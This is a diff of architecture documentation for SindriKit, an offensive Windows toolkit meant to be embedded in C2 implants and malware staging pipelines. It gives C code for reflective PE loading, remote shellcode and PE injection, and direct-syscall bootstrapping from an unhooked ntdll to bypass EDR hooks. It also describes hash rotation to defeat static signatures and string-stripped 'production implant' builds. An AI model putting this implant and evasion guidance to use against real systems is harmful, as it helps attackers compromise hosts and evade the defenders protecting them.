└───────────────────────────┬─────────────────────────────────┘
|
||||||
|
▼
|
||||||
|
┌─────────────────────────────────────────────────────────────┐
|
||||||
|
│ Parsers · Common │
|
||||||
|
└─────────────────────────────────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [dependency_injection.md](dependency_injection.md)
|
|
||||||
Explanation of the `snd_memory_api_t` and `snd_module_api_t` interface contracts that decouple offensive intent from execution mechanics.
|
- [dependency_injection.md](dependency_injection.md) — `os_api.h` contracts and backend matrix
|
||||||
- [state_machines.md](state_machines.md)
|
- [state_machines.md](state_machines.md) — loader and injection stage graphs
|
||||||
Details how complex operations (like loading or injecting) are broken into discrete, pausable stages for robust error handling.
|
- [status_system.md](status_system.md) — `snd_status_t`, DEBUG vs SILENT tiers
|
||||||
- [status_system.md](status_system.md)
|
- [redteam_integration.md](redteam_integration.md) — CMake embed, hash rotation, BYOM
|
||||||
Documents the `snd_status_t` structure and the `SND_ENABLE_DEBUG` preprocessor macro used to strip plaintext error telemetry.
|
|
||||||
- [redteam_integration.md](redteam_integration.md)
|
## Related documentation
|
||||||
Guide on linking SindriKit as an embedded engine into larger C2 implants and staging pipelines.
|
|
||||||
|
- [Getting started](../getting_started/README.md)
|
||||||
|
- [Domains](../domains/README.md)
|
||||||
|
- [Examples](../examples/README.md)
|
||||||
|
|||||||
@@ -1,52 +1,211 @@
|
|||||||
# Dependency Injection
|
# Dependency Injection
|
||||||
|
|
||||||
SindriKit utilizes a strict Dependency Injection (DI) pattern to decouple offensive intent from execution mechanics. This is a foundational architectural choice that enables the toolkit to remain highly evasive and adaptable.
|
SindriKit decouples **offensive intent** (load this PE, inject into that process) from **execution mechanics** (Win32, NT stubs, or direct syscalls). Domain code never calls the OS directly — it dispatches through function-pointer tables injected into each operation's context.
|
||||||
|
|
||||||
## The Problem with Hardcoded APIs
|
Contract definitions: `include/sindri/primitives/os_api.h`.
|
||||||
|
|
||||||
Traditional reflective loaders and red team tools often hardcode their system interactions. A typical loader will directly call `VirtualAlloc`, `GetProcAddress`, or their `Nt` equivalents (`NtAllocateVirtualMemory`). This creates several problems:
|
---
|
||||||
1. **Inflexibility**: Changing from Win32 APIs to direct syscalls requires significant refactoring.
|
|
||||||
2. **Signaturing**: Hardcoded API strings or import table entries create strong static signatures.
|
|
||||||
3. **Telemetry**: Direct calls to monitored APIs trigger userland hooks placed by EDRs.
|
|
||||||
|
|
||||||
## The SindriKit Approach
|
## Why DI instead of hardcoded APIs
|
||||||
|
|
||||||
> [!IMPORTANT]
|
| Problem | DI solution |
|
||||||
> SindriKit never makes direct OS calls from its core engine. Instead, it relies on function pointer tables injected into the operation's context.
|
|---|---|
|
||||||
|
| Refactoring cost when switching evasion tiers | Change one struct pointer at init time |
|
||||||
|
| Import table / string signatures | Hash-based module/export resolution on `_nt` backends |
|
||||||
|
| EDR userland hooks | Route through `_sys` backends after syscall bootstrap |
|
||||||
|
|
||||||
These tables are defined in `include/sindri/primitives/os_api.h` via two primary structures:
|
---
|
||||||
|
|
||||||
### Memory Capabilities (`snd_memory_api_t`)
|
## API tables
|
||||||
Defines the primitive operations for memory management:
|
|
||||||
- `alloc`: Allocate memory (e.g., `VirtualAlloc`, `NtAllocateVirtualMemory`)
|
|
||||||
- `free`: Free memory
|
|
||||||
- `protect`: Change memory protections
|
|
||||||
|
|
||||||
### Module Capabilities (`snd_module_api_t`)
|
### Memory (`snd_memory_api_t`)
|
||||||
Defines the primitive operations for module and import resolution:
|
|
||||||
- `load_library`: Load a module into the process
|
|
||||||
- `get_proc_address`: Resolve a function address
|
|
||||||
- `get_module_base`: Retrieve the base address of a loaded module
|
|
||||||
|
|
||||||
These tables also support hash-based resolution (e.g., `load_library_hash`) to avoid plaintext strings.
|
| Callback | Typical backing |
|
||||||
|
|---|---|
|
||||||
|
| `alloc` | `VirtualAlloc` / `NtAllocateVirtualMemory` / direct syscall |
|
||||||
|
| `free` | `VirtualFree` / `NtFreeVirtualMemory` / syscall |
|
||||||
|
| `protect` | `VirtualProtect` / `NtProtectVirtualMemory` / syscall |
|
||||||
|
|
||||||
## Usage in Context
|
**Global instances:** `snd_mem_win`, `snd_mem_nt`, `snd_mem_sys` — `include/sindri/primitives/memory.h`
|
||||||
|
|
||||||
When initializing an operation, such as a reflective loader, the operator explicitly injects the desired OS APIs into the context:
|
### Modules (`snd_module_api_t`)
|
||||||
|
|
||||||
|
| Callback | Role |
|
||||||
|
|---|---|
|
||||||
|
| `load_library` | Load DLL by name |
|
||||||
|
| `get_proc_address` | Resolve export by name |
|
||||||
|
| `get_module_base` | Resolve loaded module by wide name |
|
||||||
|
| `get_proc_address_hash` | Resolve export by compile-time hash |
|
||||||
|
| `get_module_base_hash` | Resolve module by hash |
|
||||||
|
|
||||||
|
**Global instances:** `snd_mod_win`, `snd_mod_nt` — `include/sindri/primitives/modules.h`
|
||||||
|
|
||||||
|
There is **no** `snd_mod_sys`. Import resolution during reflective load uses PEB + EAT parsing (`snd_mod_nt`) even in full syscall profiles.
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> `snd_mod_win` leaves hash callbacks NULL — hash resolution requires `snd_mod_nt`.
|
||||||
|
|
||||||
|
### Mapping (`snd_mapping_api_t`)
|
||||||
|
|
||||||
|
| Callback | Role |
|
||||||
|
|---|---|
|
||||||
|
| `open` | Open a named section (e.g. `\KnownDlls\ntdll.dll`) |
|
||||||
|
| `view` | Map view into caller process |
|
||||||
|
| `close` | Close section handle |
|
||||||
|
|
||||||
|
**Global instances:** `snd_map_win`, `snd_map_nt`, `snd_map_sys` — `include/sindri/primitives/mapping.h`
|
||||||
|
|
||||||
|
### Process (`snd_process_api_t`)
|
||||||
|
|
||||||
|
| Callback | Role |
|
||||||
|
|---|---|
|
||||||
|
| `open_process` | Acquire target process handle |
|
||||||
|
| `alloc_remote` | Remote virtual allocation |
|
||||||
|
| `write_remote` | Cross-process write |
|
||||||
|
| `protect_remote` | Remote protection change |
|
||||||
|
| `create_remote_thread` | Start execution in target |
|
||||||
|
| `close_handle` | Release handle |
|
||||||
|
|
||||||
|
**Global instances:** `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` — `include/sindri/primitives/process.h`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Backend naming convention
|
||||||
|
|
||||||
|
| Suffix | Paradigm | Available for |
|
||||||
|
|---|---|---|
|
||||||
|
| `_win` | Documented Win32 APIs | memory, modules, mapping, process |
|
||||||
|
| `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process |
|
||||||
|
| `_sys` | Direct syscalls (`snd_syscall_invoke_asm`) | memory, mapping, process — **not** modules |
|
||||||
|
|
||||||
|
### OpSec profile examples
|
||||||
|
|
||||||
|
| Profile | Typical injection |
|
||||||
|
|---|---|
|
||||||
|
| Diagnostic | `mem_api = &snd_mem_win`, `mod_api = &snd_mod_win`, `proc_api = &snd_proc_win` |
|
||||||
|
| NT stubs | `mem_api = &snd_mem_nt`, `mod_api = &snd_mod_nt` |
|
||||||
|
| Full syscalls | `mem_api = &snd_mem_sys`, `mod_api = &snd_mod_nt`, `proc_api = &snd_proc_sys`, mapping via `snd_map_nt` for KnownDlls |
|
||||||
|
|
||||||
|
PoC mapping: [Examples OpSec table](../examples/README.md).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Syscall bootstrap (prerequisite for `_sys`)
|
||||||
|
|
||||||
|
`_sys` backends call `snd_syscall_resolve()` internally. The resolver needs a registered `ntdll` image and a strategy chain:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_loader_ctx_t ctx = {0};
|
PVOID ntdll = NULL;
|
||||||
|
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); // or disk / PEB
|
||||||
|
|
||||||
// Inject standard Win32 APIs (for diagnostic/standard profiles)
|
snd_syscall_set_ntdll(ntdll);
|
||||||
ctx.mem_api = &snd_mem_win;
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
ctx.mod_api = &snd_mod_win;
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
// OR Inject direct syscall native APIs (for stealth profiles)
|
|
||||||
ctx.mem_api = &snd_mem_native;
|
|
||||||
ctx.mod_api = &snd_mod_native;
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Because the `snd_loader_ctx_t` relies entirely on `ctx.mem_api` and `ctx.mod_api`, the underlying execution primitive can be swapped effortlessly without altering the core reflective loading logic.
|
This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit.
|
||||||
|
|
||||||
## Custom Implementations
|
Details: [Syscalls pipeline](../domains/primitives/syscalls/pipeline.md).
|
||||||
Because the DI pattern is interface-based, advanced operators can define their own `snd_memory_api_t` instances. For example, memory allocations could be routed through a custom hypervisor, a secondary process, or highly specific ROP chains, all while utilizing the standard SindriKit loader engine.
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Object manager composition
|
||||||
|
|
||||||
|
`snd_om_knowndll_map()` (`include/sindri/primitives/object_manager.h`) composes a **`snd_mapping_api_t`** into a single KnownDlls workflow:
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_om_knowndll_map(
|
||||||
|
const snd_mapping_api_t *config,
|
||||||
|
const wchar_t *dll_name,
|
||||||
|
PVOID *out_base);
|
||||||
|
```
|
||||||
|
|
||||||
|
Uses `\KnownDlls\` on x64 and `\KnownDlls32\` on x86 (`SND_TARGET_KNOWNDLLS_DIR`). Primary use case: obtain an unhooked `ntdll` for SSN scanning.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Parser integration
|
||||||
|
|
||||||
|
**Import fixup** (`snd_pe_resolve_imports`) uses the injected **`mod_api`** callbacks — `load_library`, `get_proc_address`, and hash variants — not standalone parser resolvers.
|
||||||
|
|
||||||
|
**Export forwarders** (`snd_pe_get_export_address*`) accept a single wide-name resolver:
|
||||||
|
|
||||||
|
- `snd_module_resolver_cb` — `const wchar_t *module_name, PVOID *out_base`
|
||||||
|
|
||||||
|
There is no hash-based forwarder resolver; forwarder DLL prefixes are converted to wide strings before lookup. Typical wiring: pass `snd_peb_get_module_base` when using `snd_mod_nt`.
|
||||||
|
|
||||||
|
Parsers do not embed Win32 calls; resolution behavior comes from the injected `mod_api` table and caller-supplied forwarder callbacks.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Injecting into contexts
|
||||||
|
|
||||||
|
### Reflective loader
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
|
ctx.mem_api = &snd_mem_sys; // or snd_mem_win / snd_mem_nt
|
||||||
|
ctx.mod_api = &snd_mod_nt;
|
||||||
|
ctx.raw_source = &file_buf;
|
||||||
|
|
||||||
|
snd_ldr_pe_prepare_image(&ctx);
|
||||||
|
snd_ldr_pe_execute_image(&ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
The loader engine calls `ctx->mem_api->alloc`, `ctx->mod_api->get_proc_address`, etc. — never `VirtualAlloc` directly.
|
||||||
|
|
||||||
|
### Injection
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_inj_ctx_t inj = {0};
|
||||||
|
inj.target_pid = pid;
|
||||||
|
inj.payload = &shellcode_buf;
|
||||||
|
inj.proc_api = &snd_proc_sys;
|
||||||
|
|
||||||
|
snd_inj_classic_shell(&inj);
|
||||||
|
snd_inj_cleanup(&inj);
|
||||||
|
```
|
||||||
|
|
||||||
|
PE injection adds a **second** context for local bake:
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_ldr_pe_ctx_t ldr = {0};
|
||||||
|
ldr.mem_api = &snd_mem_sys;
|
||||||
|
ldr.mod_api = &snd_mod_nt;
|
||||||
|
// inj.proc_api = &snd_proc_sys;
|
||||||
|
|
||||||
|
snd_inj_classic_pe(&ldr, &inj);
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Custom backends (BYOM)
|
||||||
|
|
||||||
|
Any table can point at implant-specific functions as long as signatures match `os_api.h`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
static snd_status_t my_alloc(LPVOID address, SIZE_T size, DWORD type, DWORD protect, LPVOID *out) {
|
||||||
|
/* hypervisor, shared section, ROP-assisted alloc, … */
|
||||||
|
}
|
||||||
|
|
||||||
|
const snd_memory_api_t my_mem = {
|
||||||
|
.alloc = my_alloc,
|
||||||
|
.free = my_free,
|
||||||
|
.protect = my_protect,
|
||||||
|
};
|
||||||
|
|
||||||
|
ctx.mem_api = &my_mem;
|
||||||
|
```
|
||||||
|
|
||||||
|
The loader/injection state machines and stage validation remain unchanged.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Rules for new domains
|
||||||
|
|
||||||
|
1. Define a context struct holding DI pointers and a `stage` enum.
|
||||||
|
2. Validate `stage` before each engine step; return `SND_STATUS_INVALID_STAGE_SEQUENCE` on violation.
|
||||||
|
3. Expose a chain function for one-shot use and granular engine functions for staged/resumable workflows.
|
||||||
|
4. Never import another domain's internals — share behavior through primitives and parsers only.
|
||||||
|
|
||||||
|
See [State machines](state_machines.md) and [Domains independence](../domains/README.md).
|
||||||
|
|||||||
@@ -1,48 +1,175 @@
|
|||||||
# Redteam Integration
|
# Red Team Integration
|
||||||
|
|
||||||
While SindriKit can be compiled standalone via `build.bat` (e.g., `build.bat tests pocs`) to test the included Proof of Concepts, its primary mandate is entirely different.
|
SindriKit is designed as an **embeddable static engine** (`sindri::engine`) inside C2 implants, custom loaders, and staging pipelines — not only as standalone PoCs. Domain logic (reflective load, classic inject) stays in the library; the implant supplies intent, configuration, and chosen OpSec profile.
|
||||||
|
|
||||||
SindriKit is built specifically to serve as an embedded library powering larger offensive toolsets, such as C2 implants, custom loaders, and malware staging pipelines containing an arsenal of techniques. By acting as the foundational engine, it allows operators to completely ignore the repetitive boilerplate of execution mechanics and low-level debugging. Instead, developers can focus purely on offensive intent while relying on the framework's internal `snd_status_t` system to handle verbose telemetry during development.
|
---
|
||||||
|
|
||||||
## CMake Integration
|
## CMake embedding
|
||||||
|
|
||||||
The primary method for integrating SindriKit is via CMake. By dropping the repository into the parent project and utilizing `add_subdirectory()`, operators can link the core execution primitives seamlessly.
|
|
||||||
|
|
||||||
```cmake
|
```cmake
|
||||||
# Add SindriKit subdirectory
|
cmake_minimum_required(VERSION 3.16)
|
||||||
|
project(Implant C CXX ASM_MASM)
|
||||||
|
|
||||||
|
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
|
||||||
|
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
|
||||||
|
set(SND_CRTLESS ON CACHE BOOL "") # optional: /NODEFAULTLIB profile
|
||||||
|
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
|
||||||
|
|
||||||
add_subdirectory(vendor/SindriKit)
|
add_subdirectory(vendor/SindriKit)
|
||||||
|
|
||||||
# Link your implant against the SindriKit engine
|
|
||||||
add_executable(implant src/main.c)
|
add_executable(implant src/main.c)
|
||||||
target_link_libraries(implant PRIVATE sindri::engine)
|
target_link_libraries(implant PRIVATE sindri::engine)
|
||||||
```
|
```
|
||||||
|
|
||||||
By linking `sindri::engine`, the implant inherits all of SindriKit's memory primitives, syscall resolvers, PE parsers, and reflective loading capabilities without requiring re-implementation or complex build script maintenance.
|
| Target | Alias | Contents |
|
||||||
|
|---|---|---|
|
||||||
|
| `sindri_engine` | `sindri::engine` | All primitives, parsers, loaders, injection, MASM stubs |
|
||||||
|
|
||||||
## Algorithm Agility
|
The build runs `scripts/generate_hashes.py` at configure time and compiles architecture-specific ASM (`ffi`, syscalls, Heaven's Gate) automatically.
|
||||||
|
|
||||||
SindriKit natively supports "Algorithm Agility", allowing operators to rapidly swap out underlying evasion techniques globally across the entire toolkit during the build process.
|
Full variable reference: [Building SindriKit](../getting_started/building.md).
|
||||||
|
|
||||||
For instance, string hashing algorithms used for API resolution can be instantly changed via CMake variables:
|
---
|
||||||
|
|
||||||
```cmake
|
## Minimal implant init pattern
|
||||||
set(SND_HASH_ALGO "DJB2" CACHE STRING "Hashing algorithm for API resolution")
|
|
||||||
|
Typical startup sequence for a syscall-hardened implant:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#include <sindri.h>
|
||||||
|
|
||||||
|
static snd_status_t bootstrap_engine(void) {
|
||||||
|
snd_status_t status;
|
||||||
|
PVOID ntdll = NULL;
|
||||||
|
|
||||||
|
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
|
if (SND_FAILED(status))
|
||||||
|
return status;
|
||||||
|
|
||||||
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
|
return SND_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
static snd_status_t run_payload(snd_buffer_t *pe) {
|
||||||
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
|
ctx.mem_api = &snd_mem_sys;
|
||||||
|
ctx.mod_api = &snd_mod_nt;
|
||||||
|
ctx.raw_source = pe;
|
||||||
|
|
||||||
|
snd_status_t status = snd_ldr_pe_prepare_image(&ctx);
|
||||||
|
if (SND_FAILED(status))
|
||||||
|
return status;
|
||||||
|
|
||||||
|
return snd_ldr_pe_execute_image(&ctx);
|
||||||
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
The framework automatically invokes Python scripts (`scripts/generate_hashes.py`) at configure time to recompute compile-time hashes for the selected algorithm. Crucially, when `SND_RANDOMIZE_SEED=ON` is provided, this script is also responsible for injecting a randomized compile-time hash seed for each build run. This ensures that even if the same algorithm is used, the static signature of the API resolution table shifts completely between compilations without altering a single line of C code.
|
Remote injection swaps in `snd_inj_ctx_t` + `snd_inj_classic_pe` — see [Basic usage](../getting_started/basic_usage.md).
|
||||||
|
|
||||||
## Bringing Your Own Mechanics (BYOM)
|
---
|
||||||
|
|
||||||
Thanks to the Dependency Injection architecture, integrating SindriKit into an established redteam workflow is frictionless. If an implant already possesses a highly sophisticated, custom evasion technique for allocating memory (e.g., via a signed driver or an exotic process hollowing technique), forking SindriKit is unnecessary.
|
## Include strategy
|
||||||
|
|
||||||
An operator simply defines a `snd_memory_api_t` structure that points to the implant's proprietary functions, and injects it into the SindriKit loader context. SindriKit will utilize those custom mechanics to orchestrate its high-level operations.
|
| Include | When to use |
|
||||||
|
|---|---|
|
||||||
|
| `sindri.h` | Full toolkit — loaders, injection, parsers, primitives |
|
||||||
|
| `sindri/primitives.h` | Memory/process/syscall only, no loader |
|
||||||
|
| `sindri/loaders.h` | Reflective PE without injection |
|
||||||
|
| `sindri/injection.h` | Injection without local loader (shellcode path) |
|
||||||
|
| `sindri/common.h` | Status/buffer/hash only |
|
||||||
|
|
||||||
## Silent Build Profiles
|
Granular includes reduce compile time and make dependency boundaries explicit in large codebases.
|
||||||
|
|
||||||
For production builds destined for target environments, SindriKit provides a SILENT build tier:
|
---
|
||||||
|
|
||||||
|
## Algorithm agility (hash rotation)
|
||||||
|
|
||||||
|
API and module names resolve through compile-time hashes from `config/hashes.ini`. CMake controls the algorithm and seed:
|
||||||
|
|
||||||
```cmake
|
```cmake
|
||||||
set(SND_ENABLE_DEBUG OFF CACHE BOOL "Disable verbose tracking for production builds")
|
set(SND_HASH_ALGO "FNV1A" CACHE STRING "")
|
||||||
|
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
|
||||||
```
|
```
|
||||||
|
|
||||||
This enforces the `SND_DEBUG=0` macro, which comprehensively strips all string literals, error logs, and state tracking output from the final `.rdata` section. This guarantees zero console output and minimizes the static footprint of the injected engine.
|
Configure regenerates hash constants — **no C source edits** when rotating algorithms or seeds. Manifest format: [Hashes manifest](../config/hashes_manifest.md).
|
||||||
|
|
||||||
|
Runtime hashing (`snd_hash`, `snd_hash_lower`, `snd_hash_wide_lower`) uses the same algorithm selected at configure time.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Build profiles for operations
|
||||||
|
|
||||||
|
| Goal | Settings |
|
||||||
|
|---|---|
|
||||||
|
| Local dev / triage | `SND_ENABLE_DEBUG=ON`, optional `SND_USE_PRINTF=ON` |
|
||||||
|
| Production implant | `SND_ENABLE_DEBUG=OFF`, `SND_CRTLESS=ON` if avoiding CRT |
|
||||||
|
| PoC verification | `SND_BUILD_PAYLOADS=ON`, DEBUG optional |
|
||||||
|
|
||||||
|
SILENT + CRT-less is the standard production combination: no `.rdata` error strings, no `stdio` linkage from status macros.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bring your own mechanics (BYOM)
|
||||||
|
|
||||||
|
Existing implant allocators, module walkers, or process openers can replace stock backends by filling `snd_memory_api_t`, `snd_module_api_t`, or `snd_process_api_t` and injecting pointers into SindriKit contexts.
|
||||||
|
|
||||||
|
SindriKit's state machines and PE logic remain unchanged — only the OS contact layer swaps.
|
||||||
|
|
||||||
|
Example: [Dependency injection — custom backends](dependency_injection.md#custom-backends-byom).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## PoCs as integration references
|
||||||
|
|
||||||
|
| PoC | Integration lesson |
|
||||||
|
|---|---|
|
||||||
|
| `loader_winapi` | Simplest DI — Win32 tables, full chain |
|
||||||
|
| `loader_nowinapi` | NT tables + syscall bootstrap from disk `ntdll` |
|
||||||
|
| `loader_noCRT_nowinapi` | `/NODEFAULTLIB` + minimal surface |
|
||||||
|
| `inject_pe` | Dual context — loader bake + remote syscall inject |
|
||||||
|
| `inject_shell` | Injection-only, Win32 process API |
|
||||||
|
| `heavens_gate` | x86 WoW64 execution primitive (orthogonal to syscalls) |
|
||||||
|
|
||||||
|
Walkthroughs: [Examples](../examples/README.md).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Testing before embed
|
||||||
|
|
||||||
|
Enable the internal test suite when integrating into a new parent build (requires CRT):
|
||||||
|
|
||||||
|
```cmake
|
||||||
|
set(SND_BUILD_TESTS ON CACHE BOOL "")
|
||||||
|
```
|
||||||
|
|
||||||
|
Documentation: [Test runner](../tests/test_runner.md).
|
||||||
|
|
||||||
|
For quick validation without parent CMake, build PoCs standalone:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build -DSND_BUILD_PAYLOADS=ON
|
||||||
|
cmake --build build --config Release
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Domain boundaries in implants
|
||||||
|
|
||||||
|
Do not link implant-specific evasion code into SindriKit source trees. Instead:
|
||||||
|
|
||||||
|
1. Implement evasion as custom DI backends or pre-bootstrap hooks in **your** `main.c`.
|
||||||
|
2. Keep SindriKit vendor copy clean for upstream merges.
|
||||||
|
3. Respect domain independence — loaders must not call injection internals directly; use documented chain APIs.
|
||||||
|
|
||||||
|
Architecture overview: [README](README.md) · [Domains](../domains/README.md).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Dependency injection](dependency_injection.md)
|
||||||
|
- [Status system](status_system.md) — SILENT tier requirements
|
||||||
|
- [Architecture README](README.md)
|
||||||
|
|||||||
@@ -1,46 +1,194 @@
|
|||||||
# State Machines
|
# State Machines
|
||||||
|
|
||||||
SindriKit is fundamentally designed around the concept of discrete State Machines. This is a global toolkit architecture pattern used to track the progression of any offensive capability—whether that is reflective loading, remote process injection, call stack spoofing, or token manipulation.
|
Complex operations are decomposed into **ordered stages** tracked in a persistent context structure. Engine functions validate the current stage before advancing; chain functions run the full sequence in one call.
|
||||||
|
|
||||||
Instead of executing complex offensive operations as a single, monolithic function, tasks are broken down into logical, sequential stages managed by a persistent context structure.
|
This pattern applies toolkit-wide: reflective loading, classic injection, and future domains (APC injection, evasion modules) must follow the same rules.
|
||||||
|
|
||||||
## The Global Context Pattern
|
---
|
||||||
|
|
||||||
Every major domain within SindriKit revolves around a domain-specific context structure.
|
## Global context pattern
|
||||||
|
|
||||||
While the exact fields vary depending on the operation, every context struct adheres to a common pattern:
|
Every major domain context contains:
|
||||||
1. **Execution Primitives**: Pointers to the injected OS API tables (e.g., `mem_api`, `mod_api`) that govern how the operation interacts with the host.
|
|
||||||
2. **Target Data**: Pointers, handles, and metadata regarding the objective of the operation.
|
|
||||||
3. **The State Tracker**: An enumeration (`stage`) tracking precisely how far the operation has progressed.
|
|
||||||
|
|
||||||
## Advantages of State Machines
|
| Field category | Purpose | Examples |
|
||||||
|
|---|---|---|
|
||||||
|
| **DI pointers** | How the operation talks to the OS | `mem_api`, `mod_api`, `proc_api` |
|
||||||
|
| **Target data** | Operation inputs and live handles | `raw_source`, `target_pid`, `remote_base` |
|
||||||
|
| **State tracker** | Current pipeline position | `stage` enum |
|
||||||
|
| **Derived state** | Parsed / mapped artifacts | `snd_pe_parser_t pe`, `snd_pe_target_t target` |
|
||||||
|
|
||||||
By decentralizing execution into trackable stages, the framework gains several critical capabilities:
|
### Loaders vs injection contexts
|
||||||
|
|
||||||
### 1. Granular Error Handling
|
| | Loaders | Injection |
|
||||||
If an operation fails, the context retains the exact stage where the failure occurred. This allows operators to pinpoint whether a payload failed during memory allocation, import resolution, or thread execution, enabling rapid triage without needing verbose debug logs that could compromise OpSec.
|
|---|---|---|
|
||||||
|
| Context | **Per technique** — `snd_ldr_pe_ctx_t` for reflective PE today | **Shared** — `snd_inj_ctx_t` for all classic (and future) techniques |
|
||||||
|
| Rationale | Different loader techniques may need incompatible fields | Remote open/write/execute primitives are technique-agnostic |
|
||||||
|
|
||||||
### 2. Execution Pausing and Sleep Obfuscation
|
Future loader techniques add new context types (e.g. `snd_ldr_xyz_ctx_t`). Future injection techniques reuse `snd_inj_ctx_t` and add technique-specific engine headers.
|
||||||
Because the state of the operation is entirely self-contained within the context structure, execution can be intentionally suspended. An operator can allocate memory, put the implant to sleep for a significant duration (to evade heuristic timing checks and memory scanners), and then safely resume mapping sections at a later time. The state machine ensures the engine picks up exactly where it left off.
|
|
||||||
|
|
||||||
### 3. Enforced Ordering
|
---
|
||||||
The framework's internal API functions validate the current `stage` before executing. This prevents undefined behavior or out-of-order execution during manual, staged, or highly fragmented deployments.
|
|
||||||
|
|
||||||
## Case Study: The Reflective Loader
|
## Why state machines
|
||||||
|
|
||||||
To demonstrate how this global pattern is implemented, the Reflective Loader domain—the first concrete system built into SindriKit—serves as the primary reference.
|
### Granular error handling
|
||||||
|
|
||||||
The loader utilizes the `snd_loader_ctx_t` structure (defined in `include/sindri/loaders/reflective/engine.h`), which tracks its progression using the `snd_loader_stage_t` enumeration:
|
Failures return `snd_status_t` with framework `code`, OS `os_error`, and (in DEBUG) expected vs actual stage in `context`. Operators know whether failure happened at allocation, relocation, or thread creation without attaching a debugger.
|
||||||
|
|
||||||
- `SND_STAGE_UNINITIALIZED`: The context has been created but no PE parsing has occurred.
|
### Pausable execution
|
||||||
- `SND_STAGE_PARSED`: The raw payload has been validated and parsed.
|
|
||||||
- `SND_STAGE_MEM_ALLOCATED`: Virtual memory has been allocated via the injected `mem_api`.
|
|
||||||
- `SND_STAGE_SECTIONS_MAPPED`: PE sections have been copied to the virtual base.
|
|
||||||
- `SND_STAGE_RELOCATED`: Base relocations have been applied.
|
|
||||||
- `SND_STAGE_IMPORTS_RESOLVED`: The IAT has been populated via the injected `mod_api`.
|
|
||||||
- `SND_STAGE_READY_FOR_EXECUTION`: Memory protections have been applied; the payload is ready.
|
|
||||||
- `SND_STAGE_EXECUTED`: The entry point has been invoked.
|
|
||||||
|
|
||||||
For example, if an operator attempts to call `snd_resolve_imports(ctx)`, the engine will explicitly verify that the context has at least reached `SND_STAGE_SECTIONS_MAPPED`. If it has not, the engine aborts and returns an error (`SND_STATUS_INVALID_STAGE_SEQUENCE`), preserving memory integrity and preventing catastrophic crashes.
|
Because all progress lives in the context struct, an implant can stop between engine calls, sleep, and resume. Example: allocate locally → long sleep → apply relocations — as long as `stage` is preserved.
|
||||||
|
|
||||||
As future domains (such as injectors and spoofers) are added to the toolkit, they will inherently inherit and implement this identical State Machine paradigm.
|
### Enforced ordering
|
||||||
|
|
||||||
|
Calling `snd_ldr_pe_resolve_imports` before relocations completes yields `SND_STATUS_INVALID_STAGE_SEQUENCE` instead of corrupting the mapped image.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Reflective loader (`snd_ldr_pe_ctx_t`)
|
||||||
|
|
||||||
|
**Header:** `include/sindri/loaders/reflective/engine.h`
|
||||||
|
**Chain:** `include/sindri/loaders/reflective/chain.h`
|
||||||
|
|
||||||
|
### Stage enum (`snd_ldr_pe_stage_t`)
|
||||||
|
|
||||||
|
| Stage | Set by | Meaning |
|
||||||
|
|---|---|---|
|
||||||
|
| `SND_STAGE_UNINITIALIZED` | Zero-init | No PE parsed |
|
||||||
|
| `SND_STAGE_PARSED` | `snd_pe_parse` (via prepare or manual) | Headers validated |
|
||||||
|
| `SND_STAGE_MEM_ALLOCATED` | `snd_ldr_pe_allocate_and_copy_image` | `local_base` allocated, headers copied |
|
||||||
|
| `SND_STAGE_SECTIONS_MAPPED` | *(same function)* | Section data copied |
|
||||||
|
| `SND_STAGE_RELOCATED` | `snd_ldr_pe_apply_relocations` | Base relocations applied |
|
||||||
|
| `SND_STAGE_IMPORTS_RESOLVED` | `snd_ldr_pe_resolve_imports` | IAT populated |
|
||||||
|
| `SND_STAGE_READY_FOR_EXECUTION` | `snd_ldr_pe_apply_memory_protections` | Final section protections applied |
|
||||||
|
